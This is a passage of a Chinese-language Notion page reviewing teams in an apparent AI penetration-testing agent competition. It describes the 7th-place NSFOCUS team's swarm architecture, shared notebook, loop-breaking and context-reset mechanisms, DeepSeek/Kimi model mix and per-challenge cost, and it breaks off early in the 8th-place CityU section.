⭐⭐⭐⭐⭐ - 明确的分工协作，专业分工提升效率</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c815b920ee9932d9a5c5d" style="list-style-type:decimal"><li><b>知识军火库</b> ⭐⭐⭐⭐⭐ - Payload模板化管理，知识库系统化</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81bc9e27d8464ffb380f" style="list-style-type:decimal"><li><b>ReMem自进化机制</b> ⭐⭐⭐⭐⭐ - 经验积累和复用，系统越用越强</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81369d21e4d8a3b56ae8" style="list-style-type:decimal"><li><b>可视化监控</b> ⭐⭐⭐⭐ - 解决AI黑盒问题，提升可信度</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c813b8396fd00886abf00"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c8165892fe4d160480209" data-id="30a0f0c5b87c8165892fe4d160480209"><span><div id="30a0f0c5b87c8165892fe4d160480209" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8165892fe4d160480209" title="绿盟 - 第七名"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">绿盟 - 第七名</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c8101ab08c4d2e9219dab"><b>核心特色:</b> 轻量级蜂群架构 | 共享笔记本 | 三大纠偏机制 | 异构模型组合</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81deb45ee706a4df0860" data-id="30a0f0c5b87c81deb45ee706a4df0860"><span><div id="30a0f0c5b87c81deb45ee706a4df0860" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81deb45ee706a4df0860" title="架构突破：蜂群并行与静默协作"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">架构突破：蜂群并行与静默协作</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c815ba86dfb826bb4cf9f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/cn08_swarm_architecture-20260217113443-z2cp9sc.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-815b-a86d-fb826bb4cf9f" alt="生成图片 - 蜂群并行架构（中文）" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c815a80dde093b297a8fd">生成图片 - 蜂群并行架构（中文）</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81cdb620d923fe30b6d0" data-id="30a0f0c5b87c81cdb620d923fe30b6d0"><span><div id="30a0f0c5b87c81cdb620d923fe30b6d0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81cdb620d923fe30b6d0" title="核心理念：轻量级蜂群架构 (Lightweight Swarm)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心理念：轻量级蜂群架构 (Lightweight Swarm)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81eaad18e64a80f150cb">针对传统集中式架构在多目标场景下的性能瓶颈。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81a39e01fb3248986c00" data-id="30a0f0c5b87c81a39e01fb3248986c00"><span><div id="30a0f0c5b87c81a39e01fb3248986c00" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81a39e01fb3248986c00" title="架构特性详解"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">架构特性详解</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81249743c22e8da0c0a1"><b>1. 多Agent单兵作战</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81f89f12fcd18dbeca91"><li>每个Agent独立运作</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81428eb6d37a9d16425b"><li>不依赖集中式协调</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81359bb0f20134e758fc"><li>避免单点故障，提高整体容错性</li></ul><div class="notion-text notion-block-30a0f0c5b87c81419f65ec4d82c2d4be"><b>2. 并行探测与独立上下文</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8136957ffc32e8aa7413"><li>每个Agent拥有独立的上下文空间</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814e9fc3cc8e1e6857ec"><li>可以同时探测多个目标</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81fe8275eaabf497a809"><li>上下文互不干扰</li></ul><div class="notion-text notion-block-30a0f0c5b87c81d9a502c41b980c9032"><b>3. 基于共享笔记本的非阻塞协作模式</b> ⭐核心创新</div><div class="notion-text notion-block-30a0f0c5b87c81a5aaecd343dbb6d6f5"><b>传统方案问题：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8145ab13d4f62168323b"><li>Agent之间直接对话</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8190a200ed4b2037bdbc"><li>导致高额Token消耗</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8174a365f806b7e20094"><li>容易产生上下文污染</li></ul><div class="notion-text notion-block-30a0f0c5b87c814c9189e5f2f0a0bd2f"><b>共享笔记本方案：</b></div><div class="notion-text notion-block-30a0f0c5b87c81649555cc26a69cf80b"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8104b76fd95b6db42d66"><li>✅ 避免直接对话带来的高额Token消耗</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a28a45ea9482047fd8"><li>✅ 打破信息孤岛</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81da967fd449a0ea16ed"><li>✅ 实现低成本的高效协同</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811a84e5fb97f75614ff"><li>✅ 非阻塞式通信</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81dca24afc683b186fc0" data-id="30a0f0c5b87c81dca24afc683b186fc0"><span><div id="30a0f0c5b87c81dca24afc683b186fc0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81dca24afc683b186fc0" title="工程调优：三大纠偏机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">工程调优：三大纠偏机制</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c813e9939fed5fb881c56">LLM在实战中容易出现：产生幻觉、陷入死循环、在错误路径上越走越远</div><div class="notion-text notion-block-30a0f0c5b87c81e1a176da147cca9ae0"><b>三大核心控制机制：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c813ea9bbf30c0dfafd7a" data-id="30a0f0c5b87c813ea9bbf30c0dfafd7a"><span><div id="30a0f0c5b87c813ea9bbf30c0dfafd7a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c813ea9bbf30c0dfafd7a" title="纠偏机制01: 防降智"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">纠偏机制01: 防降智</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c8156928dd256457162c3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image40-20260217113443-lv9g3sd.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-8156-928d-d256457162c3" alt="绿盟 - Agent防长上下文降智与快速恢复机制" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c8114a1ecd99abedc0198">绿盟 - Agent防长上下文降智与快速恢复机制</div><div class="notion-text notion-block-30a0f0c5b87c8106878ad53f3289d2a5"><b>问题：</b> 长上下文导致认知退化</div><div class="notion-text notion-block-30a0f0c5b87c8136ad36cf9a2488d014"><b>解决方案：</b> 状态重置 + 记忆回注</div><div class="notion-text notion-block-30a0f0c5b87c81b7b09aca5d7aa62c41"><b>实现流程：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8141b695fd77dc0489b0" data-id="30a0f0c5b87c8141b695fd77dc0489b0"><span><div id="30a0f0c5b87c8141b695fd77dc0489b0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8141b695fd77dc0489b0" title="纠偏机制02: 防沉迷"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">纠偏机制02: 防沉迷</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81e9bc36c2250a6e9560"><b>问题：</b> 工具调用陷入死循环</div><div class="notion-text notion-block-30a0f0c5b87c81a6933be9def7bd8223"><b>解决方案：</b> Hook干预打断</div><div class="notion-text notion-block-30a0f0c5b87c815490bbd966e816c4da"><b>实现机制：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c819d8385d5b1b297d1b6"><li>监控工具调用模式</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81c3a27de2bcadc744c7"><li>识别重复性调用</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d2b3c8c2472007bcbd"><li>Hook机制强制打断</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81679ddcf9a0297d7749"><li>重新评估策略</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81ef94f4f15ed8dbf548" data-id="30a0f0c5b87c81ef94f4f15ed8dbf548"><span><div id="30a0f0c5b87c81ef94f4f15ed8dbf548" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81ef94f4f15ed8dbf548" title="纠偏机制03: 防依赖"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">纠偏机制03: 防依赖</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81ebbf2ef9812f9f847f"><b>问题：</b> 错误路径依赖</div><div class="notion-text notion-block-30a0f0c5b87c810ca80bf53a5bec55ba"><b>解决方案：</b> 定期清除笔记</div><div class="notion-text notion-block-30a0f0c5b87c81e7af4ed2b2a8e63dea"><b>设计思路：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d0b23df8cc37f36751"><li>共享笔记中可能包含错误信息</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81dd9196f1673115eefa"><li>Agent可能过度依赖旧经验</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8139b74af37448adac13"><li>需要定期”遗忘”</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8150bc22c22342e219ed" data-id="30a0f0c5b87c8150bc22c22342e219ed"><span><div id="30a0f0c5b87c8150bc22c22342e219ed" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8150bc22c22342e219ed" title="异构模型组合策略"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">异构模型组合策略</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81cf90d5ff587c9820b2"><b>模型分工：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b0a706e2977f9aa0fc"><li><b>主力模型: DeepSeek</b> - 常规任务，性价比高</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8114b472d2dcb0664945"><li><b>攻坚模型: Kimi</b> - 困难问题，在解决困难问题上效果更好</li></ul><div class="notion-text notion-block-30a0f0c5b87c81a28cb1ff35c128e31a"><b>成本控制：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81699d6ee09d8d352f93"><li>优先使用DeepSeek（便宜）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81879787e7dc3fec6030"><li>遇到难题切换Kimi（强力）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ebb9d6d7a8363e6949"><li>根据题目难度动态调整</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81c6b30adaa805d4554e" data-id="30a0f0c5b87c81c6b30adaa805d4554e"><span><div id="30a0f0c5b87c81c6b30adaa805d4554e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81c6b30adaa805d4554e" title="成本分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">成本分析</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c816fa939f38384257fb0"><b>单题解题成本:</b> 约13元</div><div class="notion-text notion-block-30a0f0c5b87c81ac890fc0a0c1498b3f"><b>在所有战队中的性价比：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81efbd95f1e8c7e27abe"><li><b>绿盟: 13元/题</b> ← 性价比优秀</li></ul><div class="notion-text notion-block-30a0f0c5b87c81e1b586d75b24d415b3"><b>成本优势来源：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81bf9a3dccb00add7243" style="list-style-type:decimal"><li>共享笔记本减少对话消耗</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81af8e86cb5854906fac" style="list-style-type:decimal"><li>纠偏机制减少无效尝试</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8135a505d743eda56367" style="list-style-type:decimal"><li>异构模型优化资源配置</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81948a9bc7b77c045269" style="list-style-type:decimal"><li>轻量级架构降低开销</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81089e6ad153f40fd4a4" data-id="30a0f0c5b87c81089e6ad153f40fd4a4"><span><div id="30a0f0c5b87c81089e6ad153f40fd4a4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81089e6ad153f40fd4a4" title="排名分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">排名分析</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8134a99ce53750f7bc4d"><b>最终排名:</b> 第七名 (NO.7)</div><div class="notion-text notion-block-30a0f0c5b87c81acb892f7d48e0e8558"><b>可能的原因：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81e5a9b0f2a01e4990f0" style="list-style-type:decimal"><li><b>架构创新但执行有难度</b> - 蜂群架构理念很好，但工程实现复杂度较高</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c812885f1ff1cfefda07a" style="list-style-type:decimal"><li><b>成本控制优秀但效果一般</b> - 13元/题的成本很优秀，但解题数量可能不是最多</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c811b9be1d0b06b90cbef" style="list-style-type:decimal"><li><b>共享笔记的双刃剑</b> - 减少了对话消耗，但可能也减少了一些有益的信息交流</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81fd8a7bdf4b9cf593d7" data-id="30a0f0c5b87c81fd8a7bdf4b9cf593d7"><span><div id="30a0f0c5b87c81fd8a7bdf4b9cf593d7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81fd8a7bdf4b9cf593d7" title="可借鉴之处"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可借鉴之处</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81c88d91f44d6ba11631" style="list-style-type:decimal"><li><b>共享笔记模式</b> ⭐⭐⭐⭐⭐ - 创新的协作模式，值得进一步优化</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81f09c39f2d37d5f074f" style="list-style-type:decimal"><li><b>三大纠偏机制</b> ⭐⭐⭐⭐⭐ - 系统化的问题识别，实用的解决方案</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81a590cccca8c12a9772" style="list-style-type:decimal"><li><b>异构模型组合</b> ⭐⭐⭐⭐ - 平衡性能与成本，实战效果显著</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8122b2cfef4d17a40811" style="list-style-type:decimal"><li><b>轻量级设计理念</b> ⭐⭐⭐⭐ - 避免过度复杂化，保持系统灵活性</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c81339053ce3e022a1c4a"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c813d98b4d7068c4d5cf8" data-id="30a0f0c5b87c813d98b4d7068c4d5cf8"><span><div id="30a0f0c5b87c813d98b4d7068c4d5cf8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c813d98b4d7068c4d5cf8" title="香港城市大学 - 第八名"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">香港城市大学 - 第八名</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c8107898adeb0e636515b"><b>核心特色:</b> 多级队列系统 | 动态提示注入 | 赛马机制 | ReAct循环</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81e08acbf8a4ebe84ed3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/gen08_react_loop-20260217113443-1l4oc1w.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81e0-8acb-f8a4ebe84ed3" alt="生成图片 - ReAct循环模式" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c817b878ac5f93d9e4090">生成图片 - ReAct循环模式</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81e5905effe1f0f4b141" data-id="30a0f0c5b87c81e5905effe1f0f4b141"><span><div id="30a0f0c5b87c81e5905effe1f0f4b141" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81e5905effe1f0f4b141" title="核心痛点识别"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心痛点识别</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c815e9e25f453d75118ab" data-id="30a0f0c5b87c815e9e25f453d75118ab"><span><div id="30a0f0c5b87c815e9e25f453d75118ab" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c815e9e25f453d75118ab" title="痛点1: LLM的不稳定性 (Instability)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">痛点1: LLM的不稳定性 (Instability)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81a1adffecd0ddc82b9a">大语言模型（LLM）具有随机性，单一Agent可能会：</div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81f6b9aac71965806991"><li>陷入死循环</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81e3a363df89d6d65ce3"><li>产生幻觉</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c816696daf0b6fb025aa8"><li>在错误思路上”钻牛角尖”</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81eaab10ef342acbf0dd" data-id="30a0f0c5b87c81eaab10ef342acbf0dd"><span><div id="30a0f0c5b87c81eaab10ef342acbf0dd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81eaab10ef342acbf0dd" title="痛点2: 上下文跟踪困难 (Context Loss)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">痛点2: 上下文跟踪困难 (Context Loss)</span></span></h4><div class="notion-text 